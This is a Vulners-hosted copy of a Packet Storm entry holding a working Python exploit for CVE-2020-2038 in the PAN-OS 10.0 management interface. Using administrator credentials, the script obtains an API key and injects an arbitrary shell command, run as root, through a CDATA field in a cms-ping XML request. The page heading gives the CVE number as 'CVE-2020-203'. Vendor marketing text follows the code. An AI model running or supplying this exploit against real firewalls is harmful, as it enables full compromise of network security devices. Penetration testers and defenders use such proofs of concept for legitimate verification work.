Lucene search
K

PAN-OS 10.0 Remote Code Execution

🗓️ 09 Aug 2022 00:00:00Reported by UnD3sc0n0c1d0Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 388 Views

PAN-OS 10.0 Remote Code Execution (RCE) CVE-2020-203

Related
Code
`# Exploit Title: PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)  
# Date: 2022-08-13  
# Exploit Author: UnD3sc0n0c1d0  
# Software Link: https://security.paloaltonetworks.com/CVE-2020-2038  
# Category: Web Application  
# Version: <10.0.1, <9.1.4 and <9.0.10  
# Tested on: PAN-OS 10.0 - Parrot OS  
# CVE : CVE-2020-2038  
#  
# Description:  
# An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated   
# administrators to execute arbitrary OS commands with root privileges.  
# More info: https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/  
# Credits: Mikhail Klyuchnikov and Nikita Abramov of Positive Technologies for discovering and reporting this issue.  
  
#!/usr/bin/env python3  
  
import requests  
import urllib3  
import sys  
import getopt  
import xmltodict  
  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
def banner():  
print('\n###########################################################################')  
print('# Proof of Concept for CVE-2020-2038 #')  
print('# Vulnerability discovered by Mikhail Klyuchnikov and Nikita Abramov of #')  
print('# Positive Technologies #')  
print('# https://swarm.ptsecurity.com/swarm-of-palo-alto-pan-os-vulnerabilities/ #')  
print('# #')  
print('# Exploit by: Juampa Rodríguez (@UnD3sc0n0c1d0) #')  
print('###########################################################################')  
  
def exploit(target,user,password,command):  
apiparam = {'type': 'keygen', 'user': user, 'password': password}  
apiresponse = requests.get(target+'api/', params=apiparam, verify=False)  
xmlparse = xmltodict.parse(apiresponse.content)  
apikey = xmlparse['response']['result']['key']  
payload = '<cms-ping><host>8.8.8.8</host><count>1</count><pattern>111<![CDATA[||'+command+'||]]></pattern></cms-ping>'  
parameters = {'cmd': payload, 'type': 'op', 'key': apikey}  
response = requests.get(target+'api', params=parameters, verify=False)  
print(response.text[50:-20])  
  
def usage():  
print('\nusage: CVE-2020-2038.py\n\n')  
print('arguments:')  
print(' -h show this help message and exit')  
print(' -t target URL (ex: http://vulnerable.host/)')  
print(' -u target administrator user')  
print(' -p pasword of the defined user account')  
print(' -c command you want to execute on the target\n')  
  
def main(argv):  
if len(sys.argv) < 9:  
banner()  
usage()  
sys.exit()  
try:  
opts, args = getopt.getopt(argv,"ht:u:p:c:")  
except getopt.GetoptError:  
banner()  
usage()  
sys.exit()  
for opt, arg in opts:  
if opt == '-h':  
usage()  
sys.exit()  
if opt == '-t':  
target = arg  
if opt == '-u':  
user = arg  
if opt == '-p':  
password = arg  
if opt == '-c':  
command = arg  
banner()  
exploit(target,user,password,command)  
sys.exit()  
  
if __name__ == "__main__":  
try:  
main(sys.argv[1:])  
except KeyboardInterrupt:  
print('Interrupted by users...')  
except:  
sys.exit()  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation